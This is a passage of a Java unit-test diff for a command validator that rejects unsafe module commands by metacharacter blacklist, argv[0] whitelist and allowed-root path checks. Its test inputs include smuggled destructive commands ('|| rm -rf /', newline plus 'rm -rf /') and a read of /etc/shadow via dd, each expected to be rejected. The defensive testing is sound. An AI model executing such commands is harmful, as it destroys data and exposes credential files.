ModuleCommandValidator.RULE_EMPTY_COMMAND); + assertRejected(validator.validate(" "), ModuleCommandValidator.RULE_EMPTY_COMMAND); + } + + @Test + public void backtick_shouldRejectByMetaChar() { + ValidationResult r = validator.validate("echo `id`"); + assertRejected(r, ModuleCommandValidator.RULE_DISALLOWED_META_CHAR); + } + + @Test + public void dollarBrace_shouldRejectByMetaChar() { + ValidationResult r = validator.validate("echo ${HOME}"); + assertRejected(r, ModuleCommandValidator.RULE_DISALLOWED_META_CHAR); + } + + @Test + public void doublePipe_shouldRejectByMetaChar() { + ValidationResult r = validator.validate("sh agent.sh stop || rm -rf /"); + assertRejected(r, ModuleCommandValidator.RULE_DISALLOWED_META_CHAR); + } + + @Test + public void backslash_shouldRejectByMetaChar() { + ValidationResult r = validator.validate("echo hello\\ world"); + assertRejected(r, ModuleCommandValidator.RULE_DISALLOWED_META_CHAR); + } + + @Test + public void nullByte_shouldRejectByMetaChar() { + ValidationResult r = validator.validate("echo foo\u0000bar"); + assertRejected(r, ModuleCommandValidator.RULE_DISALLOWED_META_CHAR); + } + + @Test + public void redirect_shouldRejectByMetaChar() { + ValidationResult r = validator.validate("cat ~/inlong/a > ~/inlong/b"); + assertRejected(r, ModuleCommandValidator.RULE_DISALLOWED_META_CHAR); + } + + @Test + public void newline_shouldRejectByMetaChar() { + ValidationResult r = validator.validate("sh agent.sh start\nrm -rf /"); + assertRejected(r, ModuleCommandValidator.RULE_DISALLOWED_META_CHAR); + } + + /* here-string "<<<": "<" on metacharacter blacklist */ + @Test + public void hereString_shouldRejectByMetaChar() { + ValidationResult r = validator.validate("grep foo <<< payload"); + assertRejected(r, ModuleCommandValidator.RULE_DISALLOWED_META_CHAR); + } + + /* process substitution "<(...)": "<" on metacharacter blacklist */ + @Test + public void processSubstitution_shouldRejectByMetaChar() { + ValidationResult r = validator.validate("grep foo <(cat ~/inlong/x)"); + assertRejected(r, ModuleCommandValidator.RULE_DISALLOWED_META_CHAR); + } + + /* variable-assignment prefix: "PATH=/tmp/evil" not on whitelist */ + @Test + public void varAssignPrefix_shouldRejectByWhitelist() { + ValidationResult r = validator.validate("PATH=/tmp/evil ls"); + assertRejected(r, ModuleCommandValidator.RULE_NOT_IN_WHITELIST); + } + + /* append redirect ">>" on metacharacter blacklist */ + @Test + public void appendRedirect_shouldRejectByMetaChar() { + ValidationResult r = validator.validate("echo hi >> ~/inlong/log"); + assertRejected(r, ModuleCommandValidator.RULE_DISALLOWED_META_CHAR); + } + + @Test + public void expandTilde_shouldReplaceHomePrefixOnly() { + String home = System.getProperty("user.home"); + Assert.assertEquals(home, ModuleCommandValidator.expandTilde("~")); + Assert.assertEquals(home + "/foo", ModuleCommandValidator.expandTilde("~/foo")); + Assert.assertEquals("/abs/path", ModuleCommandValidator.expandTilde("/abs/path")); + /* only replace prefix tildes, not embedded ones */ + Assert.assertEquals("a~b", ModuleCommandValidator.expandTilde("a~b")); + } + + /* Configurable whitelist tests */ + + /* Reset config keys set during test so others see shipped defaults. */ + @After + public void clearConfigOverrides() { + InstallerConfiguration conf = InstallerConfiguration.getInstallerConf(); + conf.set(CommandWhitelistResolver.KEY_EXTRA_COMMAND_WHITELIST, ""); + conf.set(CommandWhitelistResolver.KEY_EXTRA_WRITE_LIKE_COMMANDS, ""); + } + + private ModuleCommandValidator newValidatorFromConf() { + return new ModuleCommandValidator(defaultRoots, InstallerConfiguration.getInstallerConf()); + } + + @Test + public void configExtraCommandWhitelist_shouldAllowCustomArgv0() { + // 'nohup' is not in baseline; without configuration, it is rejected. + ValidationResult before = validator.validate("nohup java -jar ~/inlong/x.jar"); + assertRejected(before, ModuleCommandValidator.RULE_NOT_IN_WHITELIST); + + // With extraCommandWhitelist=nohup it must pass. + InstallerConfiguration.getInstallerConf() + .set(CommandWhitelistResolver.KEY_EXTRA_COMMAND_WHITELIST, "nohup"); + ModuleCommandValidator v = newValidatorFromConf(); + ValidationResult after = v.validate("nohup java -jar ~/inlong/x.jar"); + Assert.assertTrue("expected ok after adding nohup, got " + after, after.isOk()); + } + + @Test + public void configIllegalEntry_shouldBeSkippedButOthersKept() { + // 'my;cmd' contains ';' and must be dropped; 'python3' is legal and must survive. + InstallerConfiguration.getInstallerConf() + .set(CommandWhitelistResolver.KEY_EXTRA_COMMAND_WHITELIST, "my;cmd,python3, echo bad ,ok_name"); + ModuleCommandValidator v = newValidatorFromConf(); + Set effective = v.getEffectiveCommandWhitelist(); + Assert.assertFalse("entries containing ';' must be dropped", effective.contains("my;cmd")); + Assert.assertFalse("entries containing whitespace must be dropped", effective.contains("echo bad")); + Assert.assertTrue("well-formed 'python3' must be kept", effective.contains("python3")); + Assert.assertTrue("well-formed 'ok_name' must be kept", effective.contains("ok_name")); + } + + @Test + public void configExtraWriteLikeCommand_shouldTriggerPathRootCheck() { + // Make 'dd' both an allowed argv[0] and a write-like command; a path outside allowed + // roots must now be rejected via PATH_NOT_UNDER_ALLOWED_ROOT rather than sneak past. + InstallerConfiguration conf = InstallerConfiguration.getInstallerConf(); + conf.set(CommandWhitelistResolver.KEY_EXTRA_COMMAND_WHITELIST, "dd"); + conf.set(CommandWhitelistResolver.KEY_EXTRA_WRITE_LIKE_COMMANDS, "dd"); + ModuleCommandValidator v = newValidatorFromConf(); + + Assert.assertTrue(v.getEffectiveCommandWhitelist().contains("dd")); + Assert.assertTrue(v.getEffectiveWriteLikeCommands().contains("dd")); + + // 'if=/etc/shadow' contains '/', so looksLikePath treats it as a path argument for a + // write-like command; because /etc/shadow is not under any allowed root, PATH check fires. + assertRejected(v.validate("dd if=/etc/shadow of=/tmp-forbidden/x"), + ModuleCommandValidator.RULE_PATH_NOT_UNDER_ALLOWED_ROOT); + // Same idea with a plain positional path argument. + assertRejected(v.validate("dd /etc/shadow"), + ModuleCommandValidator.RULE_PATH_NOT_UNDER_ALLOWED_ROOT); + + // A path under an allowed root must pass. + Assert.assertTrue(v.validate("dd " + Paths.get(System.getProperty("user.home"), "inlong", "x.bin")) + .isOk()); + } + + @Test + public void configExtraWriteLikeButNotWhitelisted_shouldWarnAndNotAffectBehavior() { + // 'dd' is listed as write-like but never added to argv[0] whitelist. Behaviour must + // stay identical to the baseline: 'dd' is rejected on the argv[0] whitelist step. + InstallerConfiguration.getInstallerConf() + .set(CommandWhitelistResolver.KEY_EXTRA_WRITE_LIKE_COMMANDS, "dd"); + ModuleCommandValidator v = newValidatorFromConf(); + Assert.assertFalse(v.getEffectiveCommandWhitelist().contains("dd")); + // Effective write-like set contains the extra entry (the WARN is a hint, not a filter). + Assert.assertTrue(v.getEffectiveWriteLikeCommands().contains("dd")); + assertRejected(v.validate("dd /etc/shadow"), + ModuleCommandValidator.RULE_NOT_IN_WHITELIST); + } + + @Test + public void configIntactBaseline_whenNoExtraProvided() { + // No config touched → effective set must equal baseline exactly. + ModuleCommandValidator v = newValidatorFromConf(); + Assert.assertEquals(CommandWhitelistResolver.BASELINE_COMMAND_WHITELIST, + v.getEffectiveCommandWhitelist()); + Assert.assertEquals(CommandWhitelistResolver.BASELINE_WRITE_LIKE_COMMANDS, + v.getEffectiveWriteLikeCommands()); + } + + /* --- helper --- */ + + private void assertRejected(ValidationResult r, String expectedRule) { + Assert.assertFalse("expected rejected, got " + r, r.isOk()); + Assert.assertEquals("rule name mismatch, msg=" + r.getMessage(), + expectedRule, r.getRuleName()); + } +}